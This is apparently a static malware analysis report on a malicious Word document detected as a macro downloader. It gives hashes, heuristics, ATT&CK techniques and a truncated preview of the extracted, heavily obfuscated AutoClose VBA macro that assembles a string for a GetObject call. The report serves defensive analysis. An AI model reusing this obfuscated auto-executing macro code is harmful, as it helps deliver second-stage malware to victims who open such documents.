Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 97696671a2cc327c…

MALICIOUS

Office (OLE)

279.0 KB Created: 2018-04-19 18:59:00 Authoring application: Microsoft Office Word First seen: 2018-10-07
MD5: 182328e08162ed471b9ef0a8962f42cb SHA-1: 7bde7e77173ee2c5b6700c4697fd4d68553ca1f7 SHA-256: 97696671a2cc327c77ed7bf96419dcec494c1a4324ad86fcbaca23c6f61b94a8
222 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is identified as malicious by ClamAV with the signature Doc.Downloader.Valyria-6595163-0. High-severity heuristics indicate the presence of an AutoClose VBA macro that utilizes GetObject for execution. This macro is likely designed to download and execute a second-stage payload, a common technique for malware delivery.

Heuristics 7

  • ClamAV: Doc.Downloader.Valyria-6595163-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Valyria-6595163-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 87602 bytes
SHA-256: b5ea0e2f31a317daf2f6b5c821915a82362669827fbb8cffdf178b43ebf1e498
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub BCiZAsEjycMEdAXosEH()
ZatOHuDAdoTEWUb = Val("89611.7") & "ZUNysYpesorEPe"
PYvOWYzeRapUmACisuMEfy = 57370

ReCCylYkIXaqiXUlyNuz = InStr("aaMyjEaynIPuTYwiaOly", "aaMyjEaynIPuTYwiaOlyaaMyjEaynIPuTYwiaOly")

End Sub
Sub AutoClose()
On Error Resume Next
RugENelalapcIZoNokm = 61955

Dim ZiWEXUgIqs
ZiWEXUgIqs = Log(4)

ZiWEXUgIqs = ZiWEXUgIqs + Log(11)
Dim QCBOxYPedOHuPIWIduDA
For QCBOxYPedOHuPIWIduDA = 10 To 11
   Dim TYpInyHIMyQTEviiYJEXu
   TYpInyHIMyQTEviiYJEXu = Fix(42559)
Next
JUketiKUqEtodozODoiBET = Val("58548.7") & "WYtiKOfUbiVaUQE"
Debug.Print "juEDElySoSIh"
Dim QOiAFoqOVIsikiSYM
For QOiAFoqOVIsikiSYM = 5 To 11
   Dim qroLiVYcIPU
   qroLiVYcIPU = Fix(65985)
Next
Dim MufEjIPUVUgiaYNiL
ZYKEburILokO = Val("5195.10") & "DIPinuJbiTEDovoFiV"
Debug.Print "GAMowITasCenenecAwunU"
For MufEjIPUVUgiaYNiL = 2 To 13
   Dim EKiDiiuWOsKYGEkasEHIze
   EKiDiiuWOsKYGEkasEHIze = Fix(41529)
RaZiBiaUKYtIqyMAp = 22653
Next
Dim pUZuQEgCyLO
For pUZuQEgCyLO = 5 To 10
   Dim wyPUiYBUsAmAPIgo
   wyPUiYBUsAmAPIgo = Fix(80879)
Next
ceqOmAWONUnyiibu = 4704

JAxoTvesyUNOnu = vbNullString
Dim oWylAneSaj
For oWylAneSaj = 7 To 11
   Dim tiMosYaaygaCY
   tiMosYaaygaCY = Fix(30319)
Next
KWuVOwimAfFoKeMiZywuF = 43250
Dim NOQeiaJoQyBa
NOQeiaJoQyBa = Rnd(101)
If NOQeiaJoQyBa > 40616 Then
   NOQeiaJoQyBa = Exp(1)
End If

LonebAjORYzeR = 53905
Debug.Print "POBoGYvaPONy"
Dim alNIbucybeaEQoG
Dim WedYleXEiAXef
WedYleXEiAXef = Rnd(128)
If WedYleXEiAXef > 91842 Then
   WedYleXEiAXef = Exp(8)
End If
For alNIbucybeaEQoG = 9 To 13
   Dim FUBuZArAnePif
dYHIQUFEkUziqaxy = Val("97099.5") & "hySyhyNaHyRUkKE"
toLuQUzyryMywucyS = InStr("WYlehowaHaFysJAGON", "WYlehowaHaFysJAGONWYlehowaHaFysJAGON")
   FUBuZArAnePif = Fix(71720)
Debug.Print "NivEqofIDiJIkuJoaAkeQy"
Next

Dim xASAsUNOnSOcavU
xASAsUNOnSOcavU = Rnd(121)
If xASAsUNOnSOcavU > 78470 Then
bOnuGEWIQizytyD = Val("42120.4") & "PyhEXaWYwexaseveLUD"
Debug.Print "ayPeaYWEDjIcipuDegaBAk"
   xASAsUNOnSOcavU = Exp(1)
End If
reNOdAsIxUTIo = 72458
JALyTeFUVAiOsyfI = InStr("NOCOricywOKE", "NOCOricywOKENOCOricywOKE")
Debug.Print "dACHECUhorIKacEFe"
hIzYUsuAiYtoH = Val("3835.4") & "LIcYMIcuciHugAGOqIz"
Dim fozObopijAriN
For fozObopijAriN = 7 To 11
   Dim tOguLEdaGee
   tOguLEdaGee = Fix(65012)
Next
 JAxoTvesyUNOnu = JAxoTvesyUNOnu + IIf((204 + 408) = 612, "s", "nyaq")

JAxoTvesyUNOnu = JAxoTvesyUNOnu + IIf((300 + 600) = 900, "c", "Fa")
xomoDOmAZAtasI = 63020
Dim WAiYNUWimtWePe
For WAiYNUWimtWePe = 6 To 11
   Dim xIcIqUzeAfav
   xIcIqUzeAfav = Fix(5224)
Next
EDANanEMyRIrySaW = InStr("tEkENEiENYhIiYjUTONYGEGa", "tEkENEiENYhIiYjUTONYGEGatEkENEiENYhIiYjUTONYGEGa")
VagyawuNyKaxA = Val("56224.2") & "nUbuNeLAKR"

Dim XuRUpeBEMIjoauNaXOhiXeZ
For XuRUpeBEMIjoauNaXOhiXeZ = 3 To 11
   Dim RilyKalAhYFIC
   RilyKalAhYFIC = Fix(87491)
Next
Dim gyqyCEwYRaQImyhIcYno
gyqyCEwYRaQImyhIcYno = Log(8)

gyqyCEwYRaQImyhIcYno = gyqyCEwYRaQImyhIcYno + Log(13)
lOgysuSewyLeSoQYga = 65391
Dim deHUGeVEgAcOFyio
Dim HuhiqUVYxeLEfAGUrYdihEK
For HuhiqUVYxeLEfAGUrYdihEK = 2 To 12
   Dim hTasQxOCinuxexOb
   hTasQxOCinuxexOb = Fix(82145)
Next
deHUGeVEgAcOFyio = Rnd(138)
Dim zIZiaIGEDYTIt
For zIZiaIGEDYTIt = 10 To 11
   Dim ganeXiTOpIaiTOievEXO
   ganeXiTOpIaiTOievEXO = Fix(4181)
Next
If deHUGeVEgAcOFyio > 854 Then
   deHUGeVEgAcOFyio = Exp(8)
End If
BadORIkEzlaSA = InStr("DyJEzIWuFYPyS", "DyJEzIWuFYPySDyJEzIWuFYPyS")
JAxoTvesyUNOnu = JAxoTvesyUNOnu + IIf((69 + 138) = 207, "r", "q")
Dim qeCEmaqYSohRecAbIVE
qeCEmaqYSohRecAbIVE = Rnd(129)
If qeCEmaqYSohRecAbIVE > 91934 Then
   qeCEmaqYSohRecAbIVE = Exp(9)
End If
lUVEDUreDElisoBYgorYbeza = Val("30304.5") & "xLiPaNiJOXYnOpY"

JAxoTvesyUNOnu = JAxoTvesyUNOnu + IIf((210 + 420) = 630, "i", "yI")

JAx
... (truncated)